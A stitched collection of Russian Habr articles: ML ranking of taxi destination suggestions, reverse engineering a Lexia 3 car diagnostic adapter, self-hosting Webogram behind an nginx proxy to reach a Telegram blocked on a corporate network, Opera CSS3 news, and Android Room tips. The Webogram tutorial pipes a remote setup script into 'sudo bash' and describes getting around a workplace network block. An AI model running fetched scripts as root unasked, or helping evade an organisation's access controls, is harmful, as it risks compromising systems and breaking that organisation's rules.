2. [Альтернатива PVS-Studio за $250](http://www.viva64.com/ru/b/0228/).
3. [Сравнение возможностей статических анализаторов кода PVS-Studio и CppCat](http://www.viva64.com/ru/b/0258/).
4. [Бесплатный CppCat для студентов](http://www.viva64.com/ru/b/0290/).
| |
| --- |
| К сожалению, мы больше не развиваем и не поддерживаем проект CppCat. Вы можете почитать [здесь](http://habrahabr.ru/company/pvs-studio/blog/256637/) о причинах. | | https://habr.com/ru/post/245465/ | null | ru | null |
# От эвристики до машинного обучения: поисковые подсказки в Ситимобил
Всем привет! Меня зовут Михаил Дьячков, и в Ситимобил я занимаюсь машинным обучением. Сегодня я расскажу вам о нашем новом алгоритме формирования поисковых подсказок конечных пунктов назначения. Вы узнаете, как на первый взгляд довольно простая задача превратилась в интересный сценарий, с помощью которого, мы надеемся, у нас получилось немного облегчить жизнь пользователей. Мы продолжаем внимательно следить за работой нового алгоритма и впоследствии будем его «подкручивать», чтобы поддерживать качество ранжирования на высоком уровне. Для всех пользователей мы запустим алгоритм в ближайшие несколько недель, но уже готовы рассказать о долгом пути, который мы прошли от эвристики до алгоритма машинного обучения и выкатки его в эксплуатацию.
Думаю, что стоит начать с описания идеальной картины мира в сценарии заказа такси с точки зрения пользовательского интерфейса. Хочется, чтобы наше приложение само понимало, откуда/куда/когда/на какой машине пользователь хочет уехать. В этой статье мы рассмотрим наше решение, чтобы ответить на вопрос «куда».
Один из центральных элементов на первом экране (тот, который видит пользователь после авторизации) — это поисковые подсказки. В команде гео-поиска мы называем их «саджестами» (от англ. *suggestion*). Они предлагают пользователю конечные адреса маршрута (точки «Б») из его истории поездок в зависимости от текущего местонахождения пина (т.е. точки подачи) и времени дня без ввода поискового запроса. С помощью саджестов мы стараемся помочь пользователю сформировать заказ «в один клик». В актуальной версии клиентского iOS-приложения саджесты выглядят так:
Гео-поиск за счет алгоритмов формирования поисковой выдачи может влиять на одни из важнейших продуктовых метрик для клиентского приложения таких как время, потраченное на заказ такси (*Time to order*, или *T2O*), а также количество действий, которые потребовались клиенту, чтобы сформировать заказ (*Actions to order*, или *A2O*). Поэтому мы решили разработать алгоритм, который будет предсказывать наиболее вероятные конечные точки маршрута (точки «Б») при заданном местоположении и времени суток.
Эвристика
---------
Один из backend-разработчиков команды гео-поиска ([vasilesk](https://habr.com/ru/users/vasilesk/), привет!) придумал достаточно простую эвристику для формирования саджестов, которая работала как для начальной точки «А», так и для конечной точки «Б». Сразу стоит оговориться, что эвристика работала не на истории *поездок* пользователя, а на истории нажатий на объекты поисковой выдачи, что повлекло за собой некоторые проблемы. Эти объекты мы называем «пиками» (от англ. *pick*). Эвристика выглядела следующим образом:
1. Для текущего пользователя берем все его исторические пики.
2. Фильтруем их, оставляя те, которые были с тем же таргетом (откуда/куда).
3. Фильтруем пики, оставляя те, которые были в радиусе 300 метров от парной локации (то есть для таргета «куда» — 300 метров от «откуда», для таргета «откуда» — 300 метров от «куда»). Если нет парных координат, то считаем расстояние от GPS-координат пользователя.
4. Фильтруем пики, оставляя те, которые были сделаны в будние дни, если сейчас будний день, или в выходные, если сейчас выходной.
5. Фильтруем пики, оставляя те, которые были сделаны между 3:00 и 14:00, если сейчас этот временной промежуток, и аналогично для обратной ситуации.
6. Вытаскиваем из пиков гео-респонсы (метаинформацию), склеиваем дубликаты, упорядочиваем по количеству пиков с таким гео-респонсом и времени пика по убыванию.
7. Показываем первые три позиции пользователю.
Этот алгоритм работал некоторое время, и в целом был хорош для MVP (о метриках поговорим чуть позже), но обладал рядом недостатков. Помимо достаточно примитивной логики работы, он базировался не на поездках, а на пиках пользователя. Из-за этого порой у пользователей появлялась неочевидная выдача в поиске. А также ввиду «специфичного» способа хранения истории пиков было довольно сложно проводить быструю аналитику. Исходя из этого мы решили попробовать применить машинное обучение. Дальше мы рассмотрим формулировки задач ранжирования и сведем нашу задачу к бинарной классификации.
Постановка задачи ранжирования
------------------------------
Прежде чем говорить о признаках, метриках и модели, необходимо разобраться, какую же задачу мы пытаемся решить. Будем идти итеративно и для начала попробуем сформулировать общую постановку задачи ранжирования. Она выглядит следующим образом:
 — множество объектов.
 — обучающая выборка.
 — правильный порядок на парах 
Задача: построить ранжирующую функцию , при которой
Теперь сформулируем задачу ранжирования поисковой выдачи по запросу. От общей задачи ранжирования она отличается тем, что вместо общего множества объектов, которое нам нужно отсортировать, появляется два множества  и  — множества документов и запросов.
 — коллекция документов (ответов).
 — множество запросов.
 — множество документов, найденных по запросу q.
 — объектами являются пары «запрос, документ»: 
 — упорядоченное множество рейтингов (оценок).
 — оценки релевантности.
Чем выше оценка , тем релевантнее документ  запросу .
Правильный порядок определен только между теми документами, которые были найдены по одному и тому же запросу :
В нашей задаче рекомендаций конечных точек маршрута множество рейтингов бинарно. Для пользователя предложенный адрес может быть или релевантным, или нерелевантным (не берем в расчет случаи со сложным маршрутом с несколькими конечными точками). Если рассматривать задачу в контексте пользователя, то  — запрос к сервису, который содержит в себе *id* клиента, гео-позицию, дату и время;  — множество исторических конечных точек «Б» по поездкам пользователя (мы делаем предложения только на основании адресов прошлых поездок). И каждый допустимый ответ  на запрос  может быть или релевантным для пользователя (из текущей точки и в текущее время пользователю нужно уехать именно сюда) или нерелевантным.
Для полноты картины осталось только описать процесс создания выборки пар «запрос-ответ» с таргетом. Рассмотрим для простоты одного клиента, у которого было 5 поездок. Проранжируем эти поездки от самой первой до последней. Для первой поездки мы не знаем ничего о поездках пользователя, поэтому предложить ему саджест с помощью описанного алгоритма машинного обучения мы не можем (тут работает эвристика для новых пользователей). Для второй поездки мы знаем конечный пункт назначения из первой поездки и можем предложить этот адрес пользователю в том случае, если он успешно пройдет процедуру постобработки (находится дальше 1 км от текущего местоположения, в том же регионе, и т.д.). Для третьей поездки у нас уже может быть от одного до двух возможных саджестов, если конечный адрес второй поездки совпал с конечным адресом первой и если конечные адреса были разными соответственно. Если саджест совпал с конечной точкой «Б» (то есть попал в один и тот же гексагон фиксированного размера), то в качестве таргета мы ставим 1, иначе — 0. По этому алгоритму мы формируем всевозможные пары вида «запрос-(возможный) ответ» для каждого клиента.
Таким образом мы свели задачу ранжирования к задаче бинарной классификации. Теперь можно поговорить о метриках оценки качества.
Метрики
-------
В задачах ранжирования метрику, которая показывает долю правильных ответов из документов  в топ  списка ранжирования при запросе , называют *Precision@n*. Нас интересуют *Precision@1/2/3*, поскольку общая доля кликов (*Click Through Rate*) на первые три позиции составляет около 95 %. При этом правильный конечный адрес только один (естественно, если пользователь хочет уехать в адрес из своей истории), следовательно, эта метрика как раз будет показывать долю случаев, когда правильная конечная точка «Б» попадает в топ 1/2/3 адресов, которые предложил наш алгоритм.
Напомним, что в нашей задаче  — релевантность,  — искомая функция ранжирования. Тогда *Precision@n* можно записать как: 
Признаки и модель
-----------------
Признаки для модели в нашей задаче можно разделить на несколько блоков:
* Только для документа  (конечный адрес, точка «Б»).
* Только для запроса  (начальный адрес, точка «А»).
* Общие для запроса и документа  (маршрут из «А» в «Б»).
* Общие для пользователя.
Приведем несколько примеров для каждого из них.
**Примеры признаков только для документа (точка «Б»):**
1. Количество поездок в точку «Б» за последние *K* дней.
2. Количество поездок в точку «Б» в разрезе дней недели и времени суток.
3. Когда была совершена предыдущая поездка в точку «Б».
4. Флаг, что предыдущая поездка была совершена в точку «Б».
5. Является ли точка «Б» избранным адресом/домом/работой.
**Примеры признаков только для запроса  (точка «А» + дата/время):**
1. Флаг, новая ли текущая локация для пользователя.
2. Когда была совершена предыдущая поездка из точки «А».
3. Количество поездок из точки «А» за последние *K* дней.
4. Количество поездок из точки «А» в разрезе дней недели и времени суток.
5. Является ли точка «А» избранным адресом/домом/работой.
6. День недели/время суток для запроса .
7. Дистанция до точки «Б».
**Примеры признаков, общих для запроса и документа  (маршрут из «А» в “Б”):**
1. Флаг, была ли ранее поездка по маршруту.
2. Когда была совершена предыдущая поездка по маршруту.
3. Отношение поездок по маршруту ко всем историческим поездкам.
**Примеры признаков для пользователя:**
1. Количество поездок пользователя за последние *K* дней.
2. Количество избранных и флаги наличия домашнего адреса и адреса работы.
3. Статистики по историческим поездкам (среднее, квантили, медиана дистанции поездки, др.).
В итоге мы получили больше 100 признаков, которые описывают пару объектов «запрос-документ». Так как мы хотим максимизировать *Precision@1/2/3*, то логично, что нужно прогнозировать вероятность поездки пользователя в конкретный конечный пункт и ранжировать возможных кандидатов по полученной вероятности. Мы пробовали разные алгоритмы и разные функции потерь, и остановились на градиентном бустинге на деревьях и *logloss’е*. Результаты, которые были получены на момент использования эвристики:
| | Эвристика | ML-алгоритм |
| --- | --- | --- |
| *Precision@1* | 0,657 | 0,789 |
| *Precision@2* | 0,719 | 0,872 |
| *Precision@3* | 0,761 | 0,923 |
Production
----------
Естественно, что прежде чем придумывать какие-то сложные алгоритмы, фичи и обучать модели, нужно подумать о том, как это всё будет работать в бою под нагрузкой, при этом не забывая о масштабировании. Собравшись с командой backend-разработки, мы набросали примерную схему того, как должен выглядеть наш сервис. Обученную модель машинного обучения мы решили обернуть в async-await web-фреймворк *Sanic*, на который будет слать запросы сервис поиска. Помимо вертикального масштабирования мы реализовали возможность деплоя на несколько машин. Запросы к сервису будут отправляться на URL балансировщика нагрузки, и далее будет происходить проксирование на ту или иную машину алгоритмом Round-robin. После реализации первого прототипа сервиса мы поняли, что можем значительно сократить объем запросов в MySQL. Так как любой сдвиг пина с выбором точки подачи — это новый запрос на поиск, а значит и на наш сервис, то мы подумали, что можем хранить кэш с историей поездок пользователя в течение *N* минут с момента запроса в Redis. Благодаря этому мы сократили нагрузку на базу в три раза. В итоге схему сервиса можно представить так:
Запросы к сервису и его ответы мы храним в ElasticSearch, а метрики, которые отвечают за стабильность работы, мы передаем и мониторим в NewRelic.
Общий рабочий процесс нашего сервиса:
1. Сервис поиска шлет запрос к сервису поисковых подсказок.
2. Балансировщик выбирает одну из машин и передает на нее этот запрос.
3. Внутри машины запрос передается на один из открытых worker’ов или встает в очередь.
4. Внутри worker’a:
1. Валидируем входящий запрос.
2. Делаем запрос в Redis, если истории заказов по пользователю нет, то идем в MySQL и записываем полученные данные в Redis.
3. Делаем базовую предобработку данных и собираем фичи для модели.
4. Делаем `predict_proba()` по всем сформированным саджестам и сортируем их по «вероятности».
5. Делаем дополнительную постобработку данных и формируем ответ.
6. Возвращаем ответ в сервис поиска.
Что дальше?
-----------
Сейчас мы активно тестируем нашу модель с помощью switchback-тестирования, чтобы впоследствии сделать выводы и реализовать дополнительные надстройки в алгоритме для повышения качества ранжирования. В дальнейшем мы попробуем добавить дополнительные признаки в модель, а также совместно с дизайнерами продукта подготовить новое решение по «отображению» саджестов. Конечно же, было бы здорово, если бы наше приложение само понимало, откуда/когда/куда/на какой машине пользователь хочет уехать. Мы работаем во всех направлениях, чтобы заказ такси действительно совершался в один клик. | https://habr.com/ru/post/519556/ | null | ru | null |
# Учим французский или как получить универсальный адаптер из диагностического сканера концерна PSA
Чтобы предотвратить снижение IQ во время самоизоляции, возникло желание сделать что-то полезное для себя, а если повезет — не только. Нарезая n-ый круг по квартире, мой взгляд зацепился за автомобильный сканер, который я брал у знакомого для дальнейшего изучения, а именно Lexia 3, он же Actia XS Evolution. Вот такой:
Его огромным минусом было то, что работать с ним может только софт DiagBox, предназначенный для диагностики автомобилей марки Peugeout/Citroen. С последним мириться было нельзя (с), поэтому возникла мысль, а что если этот сканер заставить отправлять и получать произвольные сообщения в CAN-шину автомобиля, тем самым превратив его в универсальный адаптер.
Итак, план действий:
1. Собрать обмен по шине USB между ПК и нашим пациентом.
2. Разобраться как происходит общение между драйвером адаптера и программным обеспечением.
3. Повторить обмен и почувствовать себя молодцом (спойлер: вышло все несколько сложнее).
### 1. Обмен
Программный комплекс DiagBox свободно гуляет по интернету, поэтому трудностей с пунктом 1 не возникло, тем более в комплекте с ним идет небольшая утилита для идентификации адаптера, что несколько упростило задачу из пункта 2. При получении обмена по шине USB помогла пробная версия программы [USBLyzer](https://www.usblyzer.com/).
Идем к успеху. На картинке отправленный пакет данных, вид устройства в диспетчере и та самая утилитка.
Глядя на IRP'ы при открытии устройства и обмене с ним можно сделать вывод, что работа производится через штатный механизм ввода-вывода Windows, а именно, для открытия виртуального файла устройства функция CreateFile и для обмена — DeviceIOControl.
### 2. Разбор полетов
Данные собраны, IOCTL ID и флаги получены, осталось дело за малым, открыть файл-устройство и отправить туда пачку байт. Вот только что открывать? Поиск через WinObj результатов не дал, при подключении адаптер не имеет точного имени, лишь неявную ссылку с постоянно меняющимся ID, то есть просто открыть устройство наподобие COM-порта не получится
```
CreateFile("\\\\.\\COM1", ...)
```
Изучение файлов программы внесло ясность, оказалось все довольно просто — адаптер имеет свой уникальный GUID, с помощью которого у операционной системы запрашивается список всех устройств с таким GUID и если они присутствуют, мы получим ссылку на устройство, вида
`\\?\USB#VID_103A&PID_F000#6&268bff9b&0&7#{75a835f4-d77d-4402-8585-c42247f25b76}\vcommusb0` открытие которой будет успешным.
Функция, возвращающая путь взамен GUID:
```
CM_Get_Device_Interface_List(InterfaceClassGuid, pDeviceID, Buffer, BufferLen, ulFlags);
```
«файл» успешно открывается, не забываем про флаги, которые добыли через USBLyzer
```
Device = CreateFile(DeviceName, GENERIC_WRITE | GENERIC_READ, FILE_SHARE_WRITE | FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
```
### 3. Финал
Отправляем пакет байт, а в ответ — тишина…
```
bStatus = DeviceIoControl(Device, 0x220003, send_buf, send_len, out_buf, max_out_len, &returned_len, NULL);
```
Долго я сидел и смотрел в монитор, вот тот самый обмен, вот приходят ответы от устройства, вот они флаги, в точности такие, как я повторил, но ничего не выходит.
Окончательно потеряв всякую надежду на успех, у меня оставалось последнее — тяжелая артиллерия в виде диска от журнала «Хакер» с программой OllyDbg. Запускаем, аттачимся к процессу, ставим брякпоинт на функции DeviceIoControl и что же мы видим.
Царь-то не настоящий. Абсолютно другой IOCTL код, данные совсем не похожи на те, что видно через USBLyzer.
То, что было отправлено в устройство:
```
**00 FA** *AA* BA 7C 15 00 00 00 00 00 00
```
А это ушло по USB:
```
40 05 15 C0 **00 FA** 00 00 *AA* 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 41
```
Подсказка крылась в названии устройства, видимом в диспетчере задач. На сайте Microsoft'а нашел [статью](https://docs.microsoft.com/en-us/windows-hardware/drivers/usbcon/implement-driver-entry-for-a-usb-driver--umdf-) о том, что такое UMDF USB драйвер. Наглядная блок-схема:
Выходит, то, что мы видим в USBLyzer'е это транспортный уровень передачи клиентских данных, который реализован в UMDF драйвере (направление 7 на картинке), в то время как мы передаем данные устройству (направление 2 на картинке), которые дойдут сначала в драйвер, а потом уйдут в шину USB. Надеюсь понятно объяснил.
Теперь все стало ясно, откуда другие IOCTL ID и данные. Чтож, так даже проще, не нужно ломать голову над тем, как реализовать транспорт, у нас простейший интерфейс запрос-ответ. Также в файлах программы случайно завалялось описание протокола обмена (частичное), жаль только на французском.
Согласно ему, в сообщении выше была запрошена версия прошивки (00 FA), на что был получен ответ со строкой APPLI\_XS\_Fuji\_ P106138A V4.3.0 @ACTIA 02.01.12.
ВСЕ. Настраиваем CAN, отправляем адреса запрос-ответ для общения по протоколу ISO-TP и получаем полноценно работающий адаптер с автомобилем. Для удобства пользования была написана обертка, которая насколько это возможно соответствует стандарту PassThru J2534, для того, чтобы этот адаптер можно было использовать с различным автомобильным софтом, в том числе собственной разработки.
Видео работы (stdout выведен в консоль для удобства отладки):
[Исходники можно посмотреть тут](https://github.com/kolyandex/Lexia_J2534) | https://habr.com/ru/post/498358/ | null | ru | null |
# Поднимаем свой инстанс Webogram с проксированием через nginx
Привет, Хабр!
Недавно я попал в ситуацию, в которой необходимо было работать внутри корпоративной сети с неполным доступом к интернету и как вы можете догадаться по заголовку — Telegram в ней был заблокирован. Уверен, что данная ситуация знакома многим.
Я вполне могу обходиться без мессенджеров, однако именно Telegram мне нужен был для работы. Установить клиент на рабочую машину не представлялось возможным, использовать личный ноутбук — тоже. Еще одним решением видится использовать его [официальную веб-версию](http://web.telegram.org/), но как вы можете догадаться — она так же была недоступна. Вариант с поиском неофициального зеркала я сразу вычеркиваю (надеюсь по вполне очевидным причинам).
К счастью, Webogram — это opensource-проект, исходный код которого доступен в [github](https://github.com/zhukov/webogram) его автора (За что огромное ему спасибо!)
Сама установка и запуск не представляет из себя ничего сложного, однако, в условиях эксплуатации внутри сети с заблокированным доступом к серверам Telegram вас скорее ждет разочарование, чем успех, так как веб-версия отправляет запросы на серверы Telegram с машины пользователя.
К счастью, это довольно просто (но не очень очевидно) исправить. Хочу предупредить, что я не являются автором данного решения. Мне удалось найти его в [ветке](https://github.com/zhukov/webogram/issues/615), в которой обсуждалась проблема похожая на мою. Решение, которое предложил пользователь github [tecknojock](https://github.com/tecknojock), мне очень помогло, однако, уверен, что оно может помочь еще кому нибудь, поэтому решился на написание данного туториала.
Под катом вас ждет пошаговая настройка своего зеркала Webogram и настройка проксирования его запросов до серверов Telegram с использованием nginx.
В качестве примера я выбрал только что установленную и обновленную Ubuntu Server 18.04.3.
**Внимание:** В рамках данного туториала не будет инструкций по настройке домена в nginx. Это необходимо сделать самостоятельно. Туториал предполагает, что у вас уже настроен домен с ssl, а так же сам сервер, на котором планируется настройка, имеет доступ к серверам Telegram (любым на ваш вкус способом)
Предположим, что ip данного сервера 10.23.0.3, а доменное имя mywebogram.localhost
Отталкиваясь от этих условностей, я буду приводить примеры конфигураций. Не забывайте менять значения на свои.
Итак, приступим:
Для запуска Webogram, нам необходим nodejs. По умолчанию, если устанавливать его из репозиториев Ubuntu — мы получим nodejs версии 8.x. Нам необходима 12.x:
```
curl -sL https://deb.nodesource.com/setup_12.x | sudo -E bash -
sudo apt update && sudo apt -y install nodejs
```
Выбираем место, где будет базироваться наш Webogram.
Для примера — разместим его в корне домашней директории. Для этого клонируем официальный репозиторий к себе на сервер:
```
cd ~ && git clone https://github.com/zhukov/webogram.git
```
Следующий шаг — установить все зависимости, необходимые для запуска приложения:
```
cd webogram && npm install
```
Попробуем выполнить тестовый запуск. Выполните команду:
```
npm start
```
После чего, пробуем открыть в браузере
```
http://10.23.0.3:8000/app/index.html
```
Если до этого момента вы все делали правильно — у вас откроется страница авторизации Webogram.
Теперь нам необходимо настроить запуск приложения в качестве сервиса. Для этого создадим файл
```
sudo touch /lib/systemd/system/webogram.service
```
откроем его в любом редакторе и придадим следующий вид (вписываем свой путь до WorkDirectory)
```
[Unit]
Description=Webogram mirror
[Service]
WorkingDirectory=/home/tg/webogram
ExecStart=/usr/bin/npm start
SuccessExitStatus=143
TimeoutStopSec=10
Restart=on-failure
RestartSec=5
[Install]
WantedBy=multi-user.target
```
После чего выполняем следующие команды:
Применяем изменения
```
sudo systemctl daemon-reload
```
Включаем автозапуск:
```
sudo systemctl enable webogram.service
```
Запускаем сервис:
```
sudo systemctl start webogram.service
```
После выполненных действий Webogram продолжит быть доступен на порту 8000.
Так как мы будем настраивать доступ к нашему Webogram через nginx — закроем порт 8000 для запросов из вне.
Используем для этого утилиту udf (или любой удобный вам способ):
```
sudo ufw deny 8000
```
На случай, если все же решили использовать udf, но он выключен на сервере — добавляем еще правил (чтобы все не развалилось) и включаем udf:
```
sudo ufw allow ssh
sudo ufw allow 80
sudo ufw allow 443
sudo ufw enable
```
Далее, приступим к изменению конфигурации nginx.
Как я и предупреждал выше — предполагается, что на Вашем сервере уже настроен домен с ssl. Обращу Ваше внимание лишь на то, что необходимо будет добавить в конфигурационный файл домена для корректной работы:
```
server {
...
location ^~ /pluto/apiw1/ {
proxy_pass https://pluto.web.telegram.org/apiw1/;
}
location ^~ /venus/apiw1/ {
proxy_pass https://venus.web.telegram.org/apiw1/;
}
location ^~ /aurora/apiw1/ {
proxy_pass https://aurora.web.telegram.org/apiw1/;
}
location ^~ /vesta/apiw1/ {
proxy_pass https://vesta.web.telegram.org/apiw1/;
}
location ^~ /flora/apiw1/ {
proxy_pass https://flora.web.telegram.org/apiw1/;
}
location ^~ /pluto-1/apiw1/ {
proxy_pass https://pluto-1.web.telegram.org/apiw1/;
}
location ^~ /venus-1/apiw1/ {
proxy_pass https://venus-1.web.telegram.org/apiw1/;
}
location ^~ /aurora-1/apiw1/ {
proxy_pass https://aurora-1.web.telegram.org/apiw1/;
}
location ^~ /vesta-1/apiw1/ {
proxy_pass https://vesta-1.web.telegram.org/apiw1/;
}
location ^~ /flora-1/apiw1/ {
proxy_pass https://flora-1.web.telegram.org/apiw1/;
}
location ^~ /DC1/ {
proxy_pass http://149.154.175.10:80/;
}
location ^~ /DC2/ {
proxy_pass http://149.154.167.40:80/;
}
location ^~ /DC3/ {
proxy_pass http://149.154.175.117:80/;
}
location ^~ /DC4/ {
proxy_pass http://149.154.175.50:80/;
}
location ^~ /DC5/ {
proxy_pass http://149.154.167.51:80/;
}
location ^~ /DC6/ {
proxy_pass http://149.154.175.100:80/;
}
location ^~ /DC7/ {
proxy_pass http://149.154.167.91:80/;
}
location ^~ /DC8/ {
proxy_pass http://149.154.171.5:80/;
}
location / {
auth_basic "tg";
auth_basic_user_file /etc/nginx/passwd.htpasswd;
proxy_pass http://localhost:8000/;
proxy_read_timeout 90s;
proxy_connect_timeout 90s;
proxy_send_timeout 90s;
proxy_set_header Host $http_host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $remote_addr;
}
}
```
Что мы добавляем в конфиг nginx:
* Изменяем корневой location, который будет проксировать запросы на порт 8000, по которому отвечает Webogram
* Корневой location закрываем с помощью basic-auth. Это чисто символический шаг, чтобы закрыть наше приложение от посторонних глаз и ботов. ~~(А так же чтобы не было проблем с блокировками)~~
* Куча location с proxy\_path на сервера Telegram — это как раз наши эндпоинты, через которые мы будем проксировать наши запросы
Так же, создадим файл `/etc/nginx/passwd.htpasswd;`, чтобы nginx было с чем сверять пароли пользователей.
```
sudo apt install apache2-utils
sudo htpasswd -c /etc/nginx/passwd.htpasswd tg
```
Перезапускаем nginx:
```
sudo systemctl restart nginx
```
Теперь Webogram будет доступен только по адресу [mywebogram.localhost/app/index.html](https://mywebogram.localhost/app/index.html) после того, как будут введены логин и пароль, который вы определили при создании команды htpasswd.
Осталось немного: внесем небольшие изменения в сам проект.
Откройте в редакторе файл `~/webogram/app/js/lib/mtproto.js`
И приведите его начало к следующему виду:
```
/*!
* Webogram v0.7.0 - messaging web application for MTProto
* https://github.com/zhukov/webogram
* Copyright (C) 2014 Igor Zhukov
\* https://github.com/zhukov/webogram/blob/master/LICENSE
\*/
angular.module('izhukov.mtproto', ['izhukov.utils'])
.factory('MtpDcConfigurator', function () {
var sslSubdomains = ['pluto', 'venus', 'aurora', 'vesta', 'flora']
var dcOptions = Config.Modes.test
? [
{id: 1, host: 'mywebogram.localhost/DC1', port: 80},
{id: 2, host: 'mywebogram.localhost/DC2', port: 80},
{id: 3, host: 'mywebogram.localhost/DC3', port: 80}
]
: [
{id: 1, host: 'mywebogram.localhost/DC4', port: 80},
{id: 2, host: 'mywebogram.localhost/DC5', port: 80},
{id: 3, host: 'mywebogram.localhost/DC6', port: 80},
{id: 4, host: 'mywebogram.localhost/DC7', port: 80},
{id: 5, host: 'mywebogram.localhost/DC8', port: 80}
]
var chosenServers = {}
function chooseServer (dcID, upload) {
if (chosenServers[dcID] === undefined) {
var chosenServer = false,
i, dcOption
if (Config.Modes.ssl || !Config.Modes.http) {
var subdomain = sslSubdomains[dcID - 1] + (upload ? '-1' : '')
var path = Config.Modes.test ? 'apiw\_test1' : '/apiw1/'
chosenServer = 'https://mywebogram.localhost/' + subdomain + path
return chosenServer
}
for (i = 0; i < dcOptions.length; i++) {
dcOption = dcOptions[i]
if (dcOption.id == dcID) {
chosenServer = 'http://' + dcOption.host + '/apiw1'
break
}
}
chosenServers[dcID] = chosenServer
}
...
```
После этого, необходимо обновить страницу с приложением в браузере.
Откройте консоль браузера и посмотрите сетевые запросы приложения. Если все работает, и XHR запросы идут на ваш сервер — значит все сделано правильно, и Webogram теперь проксируется через nginx.
Надеюсь, что данный туториал будет полезен еще кому-нибудь кроме меня.
Большое спасибо всем, кто дочитал до конца.
Если у кого-то возникли сложности или я допустил какие-то неточности — с удовольствием отвечу и постараюсь вам помочь в комментариях или лс. | https://habr.com/ru/post/487174/ | null | ru | null |
# Поддержка CSS3 в Opera 10.50
С поддержкой CSS3, браузером Оперой, всегда было не особо густо.
Но сегодня, в пре-альфе версии 10.5, Опера анонсирует поддержку интересных и давно ожидаемых фич CSS3, в частности это — CSS3 Transitions и 2D Transform. Правда пока, это еще далеко не рабочее решение, и поэтому, для того что бы посмотреть как это работает в Опере, используем префикс `-o`. Подробности [по ссылке](http://dev.opera.com/articles/view/css3-transitions-and-2d-transforms/)
Все это стало возможно, не без помощи движка Opera’s Presto 2.5
И наконец-то, [долгожданная поддержка CSS3 Backgrounds и Borders](http://dev.opera.com/articles/view/css3-border-background-boxshadow/). И кстати, Опера первый браузер, который позволяет использовать эти прелести без префиксов `-moz` или `-webkit`
*Читая новость, дойдя до слова префикс `-o`, я подумал, блин, еще один префикс, но за это (см. абзац выше) — я готов простить Опере новый префикс и сказать, а ведь не зря, используя CSS3 в своих проектах, я писал еще и просто border-radius (помимо `-moz` и `-webkit`)*
P.S. Опубликовал этот топик именно в этот блог, так как фанаты Оперы еще явно что-то напишут в блог Оперы. | https://habr.com/ru/post/79046/ | null | ru | null |
# 7 полезных советов для тех, кто использует Room
[Room](https://developer.android.com/topic/libraries/architecture/room.html) — это уровень абстракции поверх SQLite, который упрощает организацию хранения данных. Если вы ещё мало знакомы с Room, то посмотрите эту вводную статью:
> *[7 шагов к использованию Room. Пошаговое руководство по миграции приложения на Room](https://habr.com/ru/post/441934/)*
А в этой статье я хотел бы поделиться несколькими советами о том, как максимально эффективно использовать Room.
1. Предварительное заполнение базы данных
-----------------------------------------
Вам нужно добавить данные по умолчанию в вашу базу данных сразу после её создания или в момент первого обращения к ней? Используйте [RoomDatabase#Callback](https://developer.android.com/reference/android/arch/persistence/room/RoomDatabase.Callback.html). Вызовите метод [addCallback](https://developer.android.com/reference/android/arch/persistence/room/RoomDatabase.Builder.html#addCallback%28android.arch.persistence.room.RoomDatabase.Callback%29) при создании вашей базы данных и переопределите либо [onCreate](https://developer.android.com/reference/android/arch/persistence/room/RoomDatabase.Callback.html#onCreate%28android.arch.persistence.db.SupportSQLiteDatabase%29), либо [onOpen](https://developer.android.com/reference/android/arch/persistence/room/RoomDatabase.Callback.html#onOpen%28android.arch.persistence.db.SupportSQLiteDatabase%29).
`onCreate` будет вызываться при первом создании базы данных, сразу после создания таблиц. `onOpen` вызывается при открытии базы данных. Поскольку доступ к DAO возможен только после завершения этих методов, мы создаём новый поток, в котором получаем ссылку на базу данных, затем получаем DAO и вставляем необходимые данные.
```
Room.databaseBuilder(context.applicationContext,
DataDatabase::class.java, "Sample.db")
// prepopulate the database after onCreate was called
.addCallback(object : Callback() {
override fun onCreate(db: SupportSQLiteDatabase) {
super.onCreate(db)
// moving to a new thread
ioThread {
getInstance(context).dataDao()
.insert(PREPOPULATE_DATA)
}
}
})
.build()
```
Смотрите полный пример [здесь](https://gist.github.com/florina-muntenescu/697e543652b03d3d2a06703f5d6b44b5).
**Примечание:** если вы будете использовать подход с `ioThread` и приложение даст сбой при первом запуске, между созданием базы данных и вставкой, данные никогда не будут вставлены.
2. Использование возможностей наследования DAO
----------------------------------------------
У вас есть несколько таблиц в вашей базе данных и вы копируете одни и те же методы **вставки**, **обновления** и **удаления**? DAO поддерживают наследование, поэтому создайте класс `BaseDao` и определите там ваши общие методы `@Insert`, `@Update` и `@Delete`. Пусть каждый DAO расширит `BaseDao` и добавит методы, специфичные для каждого из них.
```
interface BaseDao {
@Insert
fun insert(vararg obj: T)
}
@Dao
abstract class DataDao : BaseDao() {
@Query("SELECT \* FROM Data")
abstract fun getData(): List
}
```
Смотрите подробности [здесь](https://gist.github.com/florina-muntenescu/1c78858f286d196d545c038a71a3e864).
DAO должны быть интерфейсами или абстрактными классами, потому что Room генерирует их реализации во время компиляции, включая методы из `BaseDao`.
3. Выполнение запросов в транзакциях без шаблонного кода
--------------------------------------------------------
Аннотирование метода с помощью [@Transaction](https://developer.android.com/reference/android/arch/persistence/room/Transaction.html) гарантирует, что все операции базы данных, которые вы выполняете в этом методе, будут выполняться внутри одной транзакции. Транзакция не будет выполнена, если в теле метода возникнет исключение.
```
@Dao
abstract class UserDao {
@Transaction
open fun updateData(users: List) {
deleteAllUsers()
insertAll(users)
}
@Insert
abstract fun insertAll(users: List)
@Query("DELETE FROM Users")
abstract fun deleteAllUsers()
}
```
Возможно, вы захотите использовать аннотацию `@Transaction` для методов `@Query`, которые используют оператор `select` в случаях:
* Когда результат запроса довольно большой. Делая запрос одной транзакцией, вы гарантируете, что если результат запроса не поместится в одной «порции» курсора, то он не будет повреждён из-за изменений в базе данных между [перестановками курсора](https://medium.com/google-developers/large-database-queries-on-android-cb043ae626e8).
* Когда результатом запроса является POJO с полями `@Relation`. Каждое поле является запросом само по себе, поэтому запуск их в одной транзакции гарантирует согласованные результаты между запросами.
Методы `@Delete`, `@Update` и `@Insert`, имеющие несколько параметров, автоматически запускаются внутри транзакции.
4. Чтение только того, что вам нужно
------------------------------------
Когда вы делаете запрос к базе данных, используете ли вы все поля, которые получаете в ответе? Позаботьтесь об объёме памяти, используемой вашим приложением, и загрузите только те поля, которые вы в конечном итоге будете использовать. Это также увеличит скорость ваших запросов за счёт снижения затрат на ввод-вывод. Room сделает сопоставление между столбцами и объектом за вас.
Рассмотрим этот сложный объект `User`:
```
@Entity(tableName = "users")
data class User(@PrimaryKey
val id: String,
val userName: String,
val firstName: String,
val lastName: String,
val email: String,
val dateOfBirth: Date,
val registrationDate: Date)
```
